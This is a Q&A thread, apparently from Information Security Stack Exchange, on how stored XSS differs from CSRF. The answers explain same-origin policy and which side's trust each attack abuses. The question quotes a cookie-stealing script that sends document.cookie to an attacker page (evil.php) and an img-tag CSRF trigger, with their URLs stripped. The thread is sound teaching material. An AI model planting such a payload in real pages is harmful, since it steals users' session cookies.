Information Security Stack Exchange is a question and answer site for information security professionals. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

Trying to create a thorough understanding of XSS and CSRF, i'm clear that a type 2 xss involves an exploit that is persistent on the server.


<SCRIPT type="text/javascript">
new Image().src = '' + escape(document.cookie);

If the above script is a part of a post in a forum that is vulnerable to xss, every user that visits the page will in turn send his cookie to via evil.php.

How is this different from CSRF?

e.g. A post on a forum can be:- Eve: Hello Alice! Look here:

<img src="">

It seems to me that in both cases, a remote url is invoked and both of them are persistent on the server.


share|improve this question
up vote 7 down vote accepted

Because of the same-origin policy, in the XSS case, the script needs to be loaded in the user's browser in a page on the same domain you're trying to attack.

So, to steal an cookie from a user, you need to "inject" that JavaScript in a page on For example, where the comment section is vulnerable to an XSS.

In the second case, if you want the user's browser to send a request using the user's session, it's enough for the user to visit a page that contains

<img src="">

Note that we didn't really put any scripts or code on

share|improve this answer
What i understand here is that both exploits are persistent and both utilize scripts. The difference is how they act. Since same origin policy restricts javascript to access a different website's DOM objects, it is limited to the current page and hence we can use XSS to obtain session information like cookies. In case of CSRF, the url would send a request to another website utilizing a valid session of the user on that website. So in short, CSRF can be achieved via XSS. So to prevent CSRF, we should not allow reads from outside our origin? (i read that img and some other tags are exceptions) – Karan May 12 '13 at 12:42
@user85030 Not entirely correct. To exploit a CSRF vulnerability you don't need to inject any code or markup in the target page at all. As you can see in the example, the lolcats.html page is on a totally different domain that the attack controls. – Adi May 12 '13 at 13:03
Correct. I meant that the img tag can be posted on a vulnerable site via XSS. – Karan May 12 '13 at 13:16
@user85030 Yes, that's another way of doing it. – Adi May 12 '13 at 13:20
Thanks. I've accepted your answer. – Karan May 12 '13 at 13:23

XSS occurs when a piece of browser scripts origin from 3rd-party sources be injected into a vulnerable website's content, which can be considered as instructions to the user's browser to "present" a website. In web's terminology, the user's browser believes that such instructions are legitimate within the web site domain. In XSS scenario, the returned contents contains injected scripts are not actually what the website wants (therefore "cross-sited"), but the browser still thought that are legitimate and follow the instructions (including executing the injected browser script).

Therefore XSS attack is "exploiting user's browser's trust on the content returned from a vulnerable web site".

CSRF occurs when a request can be triggered by 3rd-party to be sent from a victim user's browser to the vulnerable website and be processed. This is possible because from the web site's point of view, the request is appearing to be legitimate (sent from user browser -> possible to contain necessary cookies). Similarly to XSS, in current web's terminology, the a web sites believes that all requests sent from a valid user browsers are legitimated actions that really "initiated" by the user (e.g. clicking the desired button), but it's not.

Therefore CSRF attack is "exploiting trust of a vulnerable website on the requests submitted by a victim user browser". (Which is actually the opposite of XSS)

XSS and CSRF are often mixed up because in many scenario, CSRF is exploited via XSS vulnerability - but having XSS condition is not a necessary condition for CSRF

share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.